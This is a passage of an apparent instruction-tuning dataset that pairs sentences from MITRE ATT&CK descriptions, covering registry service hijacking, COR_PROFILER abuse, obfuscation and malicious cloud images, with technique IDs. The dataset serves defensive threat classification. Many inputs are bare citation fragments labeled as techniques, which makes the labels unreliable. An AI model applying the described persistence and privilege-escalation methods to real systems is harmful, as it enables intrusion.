[Reg](https://attack.mitre.org/software/S0075). ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Access to Registry keys is controlled through access control lists and user permissions.", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Access to Registry keys is controlled through access control lists and user permissions. ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Registry Key Security)(Citation: malware_hides_service)", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Registry Key Security)(Citation: malware_hides_service) ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control.", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also alter other Registry keys in the service\u2019s Registry tree.", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also alter other Registry keys in the service\u2019s Registry tree. ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree)", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms) ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also add the <code>Parameters</code> key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost)", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also add the <code>Parameters</code> key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll</code>.(Citation: malware_hides_service)", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll</code>.(Citation: malware_hides_service) ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR.", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET)", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR).", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation:", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Profiling Mar 2017)(Citation:", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Profiling Mar 2017)(Citation: ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft COR_PROFILER Feb 2013)", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft COR_PROFILER Feb 2013) ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence.", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL.", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A process scope COR_PROFILER can also be created in-memory without modifying the Registry.", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A process scope COR_PROFILER can also be created in-memory without modifying the Registry. ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked.", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation:", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "RedCanary Mockingbird May 2020)(Citation:", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: RedCanary Mockingbird May 2020)(Citation: ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Red Canary COR_PROFILER May 2020)(Citation:", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Red Canary COR_PROFILER May 2020)(Citation: ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Almond COR_PROFILER Apr 2019)(Citation:", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Almond COR_PROFILER Apr 2019)(Citation: ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GitHub OmerYa", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GitHub OmerYa ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Invisi-Shell)(Citation: subTee .NET", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Invisi-Shell)(Citation: subTee .NET ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Profilers May 2017)", "output": "T1574.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Profilers May 2017) ### Response: T1574.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "How the operating system locates libraries to be used by a program can also be intercepted.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: How the operating system locates libraries to be used by a program can also be intercepted. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is common behavior that can be used across different platforms and the network to evade defenses.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is common behavior that can be used across different platforms and the network to evade defenses. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may be compressed, archived, or encrypted in order to avoid detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may be compressed, archived, or encrypted in order to avoid detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These payloads may be used during Initial Access or later to mitigate detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These payloads may be used during Initial Access or later to mitigate detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Volexity PowerDuke November 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Volexity PowerDuke November 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use compressed or archived scripts, such as JavaScript.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use compressed or archived scripts, such as JavaScript. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Linux/Cdorked.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Linux/Cdorked. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A We Live Security Analysis)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A We Live Security Analysis) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Carbon Black Obfuscation Sept 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Obfuscation Sept 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Obfuscation June 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Obfuscation June 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed.", "output": "T1027.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. ### Response: T1027.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.", "output": "T1027.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems. ### Response: T1027.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A good example of this is when malware is detected with a file signature and quarantined by anti-virus software.", "output": "T1027.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. ### Response: T1027.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.", "output": "T1027.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware. ### Response: T1027.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may rely upon specific actions by a user in order to gain execution.", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may rely upon specific actions by a user in order to gain execution. ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link.", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566). ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it.", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction.", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)", "output": "T1204", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery) ### Response: T1204."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may rely on a user running a malicious image to facilitate execution.", "output": "T1204.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may rely on a user running a malicious image to facilitate execution. ### Response: T1204.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Amazon Web Services (AWS)", "output": "T1204.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Amazon Web Services (AWS) ### Response: T1204.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored.", "output": "T1204.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. ### Response: T1204.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access.", "output": "T1204.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. ### Response: T1204.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)", "output": "T1204.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs) ### Response: T1204.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)", "output": "T1204.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021) ### Response: T1204.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion.", "output": "T1078.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. ### Response: T1078.004."}{"instruction": "List the 